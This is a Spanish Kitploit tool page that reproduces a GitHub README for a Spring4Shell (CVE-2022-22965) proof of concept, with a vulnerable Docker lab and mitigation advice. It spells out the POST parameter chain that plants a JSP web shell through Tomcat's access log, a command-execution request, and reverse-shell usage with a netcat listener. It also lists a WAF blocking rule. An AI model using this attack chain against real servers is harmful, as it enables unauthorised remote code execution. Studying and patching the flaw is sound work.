Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PoC-CVE-2022-22965-Spring4Shell — Descripción | Kitploit
Herramientas/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubmarch0n/poc-cve-2022-22965-spring4shell

PoC-CVE-2022-22965-Spring4Shell

Descripción

Ver Repositorio
2hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC — CVE-2022-22965 (Spring4Shell)

Aviso legal: Este repositorio está destinado únicamente a fines educativos y de investigación. Todos los scripts de exploit deben utilizarse exclusivamente contra sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El autor no se hace responsable de ningún uso indebido o daño causado por este material.

Estudio y prueba de concepto para CVE-2022-22965, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Spring Framework, divulgada públicamente en abril de 2022.


Resumen de la vulnerabilidad

Spring4Shell afecta a las aplicaciones Spring MVC y Spring WebFlux cuando se cumplen todas las siguientes condiciones:

CondiciónValor
Versión de JDK9 o superior
Servidor de aplicacionesApache Tomcat
EmpaquetadoWAR (no JAR ejecutable)
Spring Framework< 5.3.18 o < 5.2.20

Cómo funciona

El mecanismo de enlace de datos de Spring permite que los parámetros de las solicitudes HTTP se asignen a las propiedades de los objetos Java usando notación de puntos (por ejemplo, user.name=foo). La vulnerabilidad surge porque este recorrido no está restringido adecuadamente: un atacante puede alcanzar el ClassLoader de la JVM a través de la jerarquía de clases del objeto modelo:

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<property>

Esta ruta alcanza el AccessLogValve de Tomcat, cuya configuración de registro se puede manipular en tiempo de ejecución. Al modificar propiedades como pattern, directory, prefix y suffix, el atacante redirige el registro de acceso de Tomcat para escribir un archivo con extensión .jsp que contiene código JSP arbitrario, plantando efectivamente un web shell en el servidor.

Flujo del ataque

root@kitploit:~
1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload

3. GET /shell.jsp?cmd=id  →  RCE

Estructura del repositorio

root@kitploit:~
.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

Variantes de exploit

ScriptMétodoPayloadNotas
exploit1.pyPOSTWeb shell (protegido por contraseña)Solicitud única
exploit2.pyPOSTWeb shellRestablece la configuración del registro antes/después del exploit
exploit3.pyGETWeb shell (sin contraseña)Parámetros en la cadena de consulta
exploit4.pyGETShell TCP inversoPayload JSP basado en msfvenom
exploit4b.pyPOSTShell TCP inversoMismo payload que exploit4, variante POST

Ejemplo de uso

root@kitploit:~
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

Configuración del laboratorio

Prerrequisitos

  • Java 11+
  • Maven (sudo apt install maven o sudo dnf install maven)
  • Docker (opcional, recomendado)

Compilar

root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package

Ejecutar con Docker

root@kitploit:~
# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

La aplicación estará disponible en http://localhost:8082/vulnerable.


Mitigación

  • Actualizar Spring Framework a 5.3.18+ o 5.2.20+
  • Actualizar Spring Boot a 2.6.6+ o 2.5.12+
  • Si no es posible actualizar de inmediato:
    • Reducir a JDK 8
    • Usar WebDataBinder.setDisallowedFields() para bloquear el enlace de classLoader
    • Implementar una regla WAF que bloquee parámetros que contengan class., Class., module. o classLoader

Créditos

Investigación original y código de exploit por @march0n. Este repositorio es un estudio personal de la vulnerabilidad con fines de aprendizaje, con documentación y análisis adicionales.


Referencias

  • CVE-2010-1622 — exploit original de Spring ClassLoader (2010)
  • Divulgación inicial en chino (Weixin)
  • Blog de seguridad de Microsoft — Guía de SpringShell
  • LunaSec — Análisis de vulnerabilidades RCE de Spring
  • Palo Alto Unit 42 — Análisis profundo de CVE-2022-22965
Descargar herramienta